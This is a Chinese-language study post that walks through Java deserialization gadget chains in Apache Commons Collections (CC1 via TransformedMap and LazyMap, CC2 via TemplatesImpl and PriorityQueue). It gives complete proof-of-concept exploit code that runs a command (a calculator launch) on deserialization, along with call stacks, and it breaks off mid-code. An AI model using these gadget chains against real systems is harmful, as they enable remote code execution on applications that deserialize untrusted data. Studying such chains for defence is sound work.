Java反序列化修炼计划 CommonsCollections

Commons Collections的利用链被称为cc链,是源自Apache Commons Collections的第三方库,包括Weblogic、JBoss、WebSphere、Jenkins在内的知名Java应用都使用了这个库。

CommonsCollections1

TransformedMap利用链

来自 P 牛。

影响版本

JDK<8u71

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Documented;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
public static void main(String[] args) throws Exception {
ChainedTransformer chainedTransformer =
new ChainedTransformer(
new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", null}),
new InvokerTransformer(
"invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, null}),
new InvokerTransformer(
"exec",
new Class[] {String.class},
new Object[] {"open -a Calculator"})
});

LazyMap map = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);
Constructor handlerConstructor =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler")
.getDeclaredConstructor(Class.class, Map.class);
handlerConstructor.setAccessible(true);
InvocationHandler mapHandler =
(InvocationHandler) handlerConstructor.newInstance(Documented.class, map);
Map proxyMap =
(Map)
Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(),
new Class[] {Map.class},
mapHandler);

Constructor AnnotationInvocationHandlerConstructor =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler")
.getDeclaredConstructor(Class.class, Map.class);
AnnotationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler handler =
(InvocationHandler)
AnnotationInvocationHandlerConstructor.newInstance(
Target.class, proxyMap);

try {
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./CC1"));
outputStream.writeObject(handler);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./CC1"));
inputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}

调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
transform:125, InvokerTransformer (org.apache.commons.collections.functors)
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
checkSetValue:169, TransformedMap (org.apache.commons.collections.map)
setValue:191, AbstractInputCheckedMapDecorator$MapEntry (org.apache.commons.collections.map)
readObject:451, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
main:38, CC1

前置知识

AnnotationInvocationHandler

起点在 AnnotationInvocationHandler 类的 readObject 方法。

memberValues 是反序列化得到的 map,即 TransformedMap 修饰过的对象,这里赋值给 var4 并遍历其所有元素,依次校验并设置值。

调用 setValue 方法设置值的时候,触发 TransformedMap 类的 transform 方法。

AnnotationInvocationHandler 类的构造方法中,第一个参数需满足是注解类,且其有且仅有一个 Annotation 接口。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;

try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();

while(var4.hasNext()) {
Map.Entry var5 = (Map.Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}

java.lang.annotation 下存在有注解元素名的接口。

Target
1
2
3
4
5
6
7
8
package java.lang.annotation;

@Documented
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.ANNOTATION_TYPE)
public @interface Target {
ElementType[] value();
}
Repeatable
1
2
3
4
5
6
7
8
package java.lang.annotation;

@Documented
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.ANNOTATION_TYPE)
public @interface Repeatable {
Class<? extends Annotation> value();
}
Retention
1
2
3
4
5
6
7
8
package java.lang.annotation;

@Documented
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.ANNOTATION_TYPE)
public @interface Retention {
RetentionPolicy value();
}

Transformer

Transformer 接口中的 transform 方法传入和返回的对象都是 Object 类型。

1
2
3
public interface Transformer {
public Object transform(Object input);
}

TransformedMap

TransformedMap类使用checkSetValue方法处理数据时,调用了transform方法。

1
2
3
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}

而其中的 decorate 方法,调用了构造方法并返回新的 map 对象。

1
2
3
4
5
6
7
8
9
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

ConstantTransformer

ConstantTransformer 类调用 transform 方法会返回构造时传入的对象。

1
2
3
4
5
6
7
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}

public Object transform(Object input) {
return this.iConstant;
}

InvokerTransformer

InvokerTransformer 类的 transform 方法会反射传入的参数,构造方法的三个参数分别是方法名、参数类型、参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}

public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}

ChainedTransformer

ChainedTransformer 类构造方法的传入参数是 Transformer 类数组,transform 方法会遍历传入的 Transformer 数组,调用其 transform 方法,并将上一条的输出结果作为下一条的输入。

1
2
3
4
5
6
7
8
9
10
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}

public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}

分析

那么从 AnnotationInvocationHandlerreadObject 方法开始重新捋一遍。

var3 赋值拿到注解元素名,var4 赋值拿到 POC 中的 outerMap 变量,然后开始遍历。

拿到 POCmapkey 赋值给 var6,然后判断这个 key 是否与 var3 的注解元素名相等,若不相等,则 var7null

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;

try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();

while(var4.hasNext()) {
Map.Entry var5 = (Map.Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}

因此 POC 这里 constructor.newInstance 可选的不只是 Target.class,还有 Repeatable.classRetention.class,但 mapkey 皆是 value

然后跟进 AbstractInputCheckedMapDecorator 类下的 setValue 方法。

1
2
3
4
public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return super.entry.setValue(value);
}

跳到 TransformedMap 类下的 checkSetValue 方法,开始调用 transform 方法。

而此处的 valueTransformer 变量,即为 POC 中的 ChainedTransformer 对象。

1
2
3
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}

接着在 chainedTransformer 中遍历每一个 Transformer 类的 transform 方法。

1
2
3
4
5
6
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}

那么接下来就一目了然了,ConstantTransformer 传入 Runtime.class 并返回,作为接下来 InvokerTransformertransform 方法的输入。

1
2
3
4
5
6
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};

因此第二个 InvokerTransformer 的执行如下。

1
2
3
Class cls = Runtime.class.getClass();
Method method = cls.getMethod("getMethod", new Class[]{String.class, Class[].class});
return method.invoke(Runtime.class, new Object[]{"getRuntime", null});

可以看做如下反射语句。

1
Class.forName("java.lang.Runtime").getMethod("getRuntime");

而后不必多说,直接一气呵成到命令执行弹计算器,执行如下。

1
2
Class clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec", String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz), "open -a Calculator");

LazyMap利用链

来自 ysoserial

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
public static void main(String[] args) throws Exception {
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})});
LazyMap map = (LazyMap) LazyMap.decorate(new HashMap(), chain);

Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Documented.class, map);
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, map_handler);
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) AnnotationInvocationHandler_Constructor.newInstance(Override.class, proxy_map);

try {
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./CC1"));
outputStream.writeObject(handler);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./CC1"));
inputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}

调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
transform:125, InvokerTransformer (org.apache.commons.collections.functors)
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:151, LazyMap (org.apache.commons.collections.map)
invoke:77, AnnotationInvocationHandler (sun.reflect.annotation)
entrySet:-1, $Proxy0 (com.sun.proxy)
readObject:444, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
main:39, CC1

前置知识

动态代理

先定义了接口,但并不去编写实现类,而是直接通过JDK提供的一个Proxy.newProxyInstance()创建一个接口对象。

这种没有实现类但是在运行期动态创建了一个接口对象的方式,称为动态代码。JDK提供的动态创建接口对象的方式,就叫动态代理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

public class Main {
public static void main(String[] args) {
InvocationHandler handler = new InvocationHandler() {
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println(method);
if (method.getName().equals("morning")) {
System.out.println("Good morning, " + args[0]);
}
return null;
}
};
Hello hello = (Hello) Proxy.newProxyInstance(
Hello.class.getClassLoader(), // 传入ClassLoader
new Class[] { Hello.class }, // 传入要实现的接口
handler); // 传入处理调用方法的InvocationHandler
hello.morning("Bob");
}
}

interface Hello {
void morning(String name);
}

LazyMap

LazyMap类的get方法在获取key时,若key不存在map中,会调用一次transform方法,然后将其放入map

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}

分析

前半部分反序列化链的构造基本相同,故不赘述,后半部分使用了LazyMap来代替TransformedMap

而上面提到,LazyMapget方法中调用了factorytransform方法,故此在POC中有如下类似于TransformedMap的构造。

1
LazyMap map = (LazyMap) LazyMap.decorate(new HashMap(), chain);

LazyMapdecorate方法将传入的POC链赋值给了factory变量。

1
2
3
4
5
6
7
8
9
10
11
12
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}

protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = factory;
}
}

接下来,在AnnotationInvocationHandler类中invoke方法中有对memberValues变量执行了get方法。

而在构造AnnotationInvocationHandler类时,传入的LazyMap也恰好赋值给了memberValues变量。

因此现在需要利用动态代理来调用AnnotationInvocationHandler类,从而触发invoke方法。

1
2
3
4
5
6
7
8
9
10
public Object invoke(Object var1, Method var2, Object[] var3) {
// ...
switch (var4) {
// ...
default:
Object var6 = this.memberValues.get(var4);
// ...
}
// ...
}

从而有POC中的如下构造。

1
2
3
4
5
LazyMap map = (LazyMap) LazyMap.decorate(new HashMap(), chain);
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Documented.class, map);
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, map_handler);

但是到这里还不够,因为需要proxy_map对象执行任意方法才能触发invoke方法,故需要再将其包装一层,赋值给某个在反序列化过程中执行了任意方法的变量。

那么在AnnotationInvocationHandler类的readObject方法中,memberValues对象执行了一次entrySet方法。

1
2
3
4
5
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
// ...
Iterator var4 = this.memberValues.entrySet().iterator();
// ...
}

因此可以继续构造一个AnnotationInvocationHandler,将proxy_map赋予memberValues来触发map_handler中包装的invoke方法。

1
2
3
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) AnnotationInvocationHandler_Constructor.newInstance(Override.class, proxy_map);

此外,LazyMap链在对AnnotationInvocationHandler类的构造中,对第一个传参对象并无注解元素名的要求。

CommonsCollections2

影响版本

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CC2 {
public static void main(String[] args) throws Exception {

// 字节码
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));

// CC2 _tfactory成员变量会在反序列化调用构造方法时自动创建赋值
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][] {classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_class", null);

Constructor constructor =
Class.forName("org.apache.commons.collections4.functors.InvokerTransformer")
.getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer =
(InvokerTransformer) constructor.newInstance("newTransformer");

TransformingComparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(1);

// 将templates链赋值给queue数组,使其在PriorityQueue的readobject中进行下一步序列化操作,传入siftDown为x,传入compare中为obj1,
Object[] queueArray = new Object[] {templates, 1};
Field queueField = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queueField.setAccessible(true);
queueField.set(queue, queueArray);

Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue, 2);

Field comparatorField =
Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparatorField.setAccessible(true);
comparatorField.set(queue, comparator);

try {
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./CC2"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./CC2"));
inputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}

public static void setFieldValue(final Object obj, final String fieldName, final Object value)
throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}

调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
exec:347, Runtime (java.lang)
<clinit>:-1, EvilCat421930353946666
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
transform:129, InvokerTransformer (org.apache.commons.collections4.functors)
compare:81, TransformingComparator (org.apache.commons.collections4.comparators)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:795, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
main:64, CC2

前置知识

Javasist

是一个处理字节码的类库,能够动态的修改class中的字节码。

需要maven依赖。

1
2
3
4
5
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>

附上Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import javassist.ClassPool;
import javassist.CtClass;

public class JavassistDemo {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
// 创建类名
CtClass ctClass = pool.makeClass("Evil");
// makeClassInitializer 新增静态代码块,insertBefore 在 static 中靠前位置插入
String cmd = "System.out.println(\"south\");";
ctClass.makeClassInitializer().insertBefore(cmd);
// 写入到对应目录下
ctClass.writeFile("./");
}
}

ClassLoader

负责将字节码转化成内存中的Java类,加载过程中采用双亲委派来实现加载。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;

public class ClassLoadDemo {
public static void main(String[] args) throws Exception {
// 读取字节码
byte[] bytes = Files.readAllBytes(Paths.get("Evil.class"));
Class clazz1 = Class.forName("java.lang.ClassLoader");
Method method = clazz1.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
method.setAccessible(true);
Class clazz2 = (Class) method.invoke(ClassLoader.getSystemClassLoader(), "Evil", bytes, 0, bytes.length);
System.out.println(clazz2.newInstance());
}
}

defineClass方法是protected所以无法直接从外部进行调用,因此需要借助反射来调用。

但是返回的类并不会初始化,只有这个对象显式地调用其构造函数,初始化代码才能被执行,所以需要想办法调用返回的类的构造函数来执行命令。

TemplatesImpl

TemplatesImpl中存在一个内部类TransletClassLoader,重写了defineClass,且没有对定义域显式声明,因此可以被调用。

1
2
3
4
5
6
7
8
9
10
public final class TemplatesImpl implements Templates, Serializable {
// ...
static final class TransletClassLoader extends ClassLoader {
// ...
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
}
// ...
}

利用链如下。

1
2
3
4
5
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TransletClassLoader.defineClass()

getTransletInstance函数中,如果**_namenull则直接返回null,而_classnull将会进入defineTransletClasses**方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public final class TemplatesImpl implements Templates, Serializable {

private String _name = null;
private Class[] _class = null;
// ...
private Translet getTransletInstance() throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// ...
}
// ...
}
// ...
}

defineTransletClasses函数中,将**_bytecodes传入了defineClass函数,因此其值需要为恶意类的字节码。此外,当_tfactory**为空时会触发异常。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public final class TemplatesImpl implements Templates, Serializable {

private byte[][] _bytecodes = null;
private transient TransformerFactoryImpl _tfactory = null;
// ...
private void defineTransletClasses() throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(), _tfactory.getExternalExtensionsMap());
}
});
try {
// ...
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
// ...
}
// ...
}
// ...
}
// ...
}

综上所述,**_name不为空,随意传参;_class需要为空;_bytecodes的参数类型是byte[][]因此需要转换一下;最后是给_tfactory**赋值。

然后要注意的是TemplatesImpl类中的defineTransletClasses方法在将字节码转换后会判断其是否继承AbstractTranslet,因此需要使得恶意类继承AbstractTranslet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import java.lang.reflect.Field;

public class TemplatesDemo {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass ctClass = pool.makeClass("Test");
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String cmd = "System.out.println(\"Test\");";
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.insertBefore(cmd);
ctClass.writeFile("./");
byte[] bytes = ctClass.toBytecode();
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Class clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Field _name = clazz.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates, "test");
setFieled(templates, clazz, "_name", "test");
setFieled(templates, clazz, "_class", null);
setFieled(templates, clazz, "_bytecodes", new byte[][]{bytes});
setFieled(templates, clazz, "_tfactory", new TransformerFactoryImpl());
templates.getOutputProperties();
}

public static void setFieled(TemplatesImpl templates, Class clas, String fieled, Object obj) throws Exception {
Field _field = clas.getDeclaredField(fieled);
_field.setAccessible(true);
_field.set(templates, obj);
}
}

利用链如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TransletClassLoader.defineClass()
newInstance()
System.out.println("Test")

分析

TransformingComparator

TransformingComparator类的compare方法中调用了transform方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class TransformingComparator<I, O> implements Comparator<I>, Serializable {
private static final long serialVersionUID = 3456940356043606220L;
private final Comparator<O> decorated;
private final Transformer<? super I, ? extends O> transformer;

public TransformingComparator(Transformer<? super I, ? extends O> transformer) {
this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
}

public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) {
this.decorated = decorated;
this.transformer = transformer;
}

public int compare(I obj1, I obj2) {
